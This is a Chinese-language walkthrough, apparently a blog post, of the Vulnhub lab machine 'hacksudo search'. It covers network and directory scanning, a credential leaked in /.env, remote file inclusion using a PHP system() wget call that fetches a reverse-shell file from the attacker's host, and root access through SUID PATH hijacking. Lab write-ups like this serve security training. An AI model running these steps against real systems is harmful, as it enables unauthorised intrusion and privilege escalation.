Vulnhub:hacksudo search

靶机下载地址。下载完成后,在VirtualBox中导入虚拟机,系统处理器修改为2,网卡配置修改为桥接。

信息收集

主机发现

扫描攻击机同网段存活主机。

nmap 192.168.31.0/24 -Pn -T4

靶机ip:192.168.31.218

端口扫描

nmap 192.168.31.218 -A -p- -T4

开放了22,80端口。

目录扫描

访问http服务,首页显示是一个搜索引擎。测试发现点击search后跳转到/search.php,其实就是拼接到谷歌url后通过谷歌搜索,没什么信息。

 dirsearch目录扫描。

dirsearch -u http://192.168.31.218

访问/.env,得到一个数据库用户名和密码:

hiraman:MyD4dSuperH3r0!

访问/robots.txt,提示还有其他搜索页面。

换个字典再扫描。

gobuster dir -u http://192.168.31.218 -w directory-list-2.3-small.txt -x html,php,js,jpg,png,txt

成功找到另一个搜索页面/search1.php。

渗透

文件包含漏洞

访问serach1.php,页面对比发现search.php多了一个topnav盒子。

F12检查元素发现三个参数find,Me,FUZZ,看这个样子可以考虑文件包含。测试后发现不是这三个参数。

是否还有其他参数。WFUZZ工具模糊测试参数。

wfuzz -c -u http://192.168.31.218/search1.php?FUZZ=/etc/passwd -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt --hw 288

得到参数me。

search1.php?me=/etc/passwd 通过passwd文件发现几个用户hacksudo,monail,john,search。

getshell

利用远程文件包含漏洞getshell。在攻击机创建两个文件,分别是exec.php,test.php。文件包含exec.php,让靶机下载test.php。

# exec.php
<?php system('wget http://192.168.31.219:8000/test.php'); ?>

test.php的内容就是反弹shell代码(直接用kali自带的即可)。

在文件所在目录开启简易http服务python -m http.server,然后包含exec.php。

可以看到靶机访问了我们准备好的两个php文件。

nc开启监听,访问test.php即可等待监听上线。

getshell

# 交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

当前用户权限低,什么都看不了,最后看wp知道原来/.env里面的密码就是hacksudo的密码,直接切换到hacksudo用户。

get user.txt!

suid提权

找suid权限的文件。

find / -perm -u=s -type f 2>/dev/null

其中/home/hacksudo/search/tools/searchinstall值得关注。

进入后查看searchinstall.c发现其实就是使用了install命令。

GTFOBins查一下install命令如何提权。

export    //新增,删除,修改,显示当前系统定义的所有环境变量
$PATH	  //仅查看当前运行命令的查找路径,以:分割不同路径

提权步骤:

1、tmp目录下创建一个install。

2、赋予该文件执行权限并使用export命令将install添加进PATH中。

PATH提供的多个路径中,排在前面的会优先进行搜索,所以这里是export PATH=/tmp:$PATH。扩展:export命令修改PATH的生效时间:立即生效;生效期限:当前终端有效,窗口关闭后无效;生效范围:仅对当前用户有效。

echo '/bin/bash' > install
chmod 777 install
export PATH=/tmp:$PATH

执行searchinstall,获得root权限。

get root.txt!🎆

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值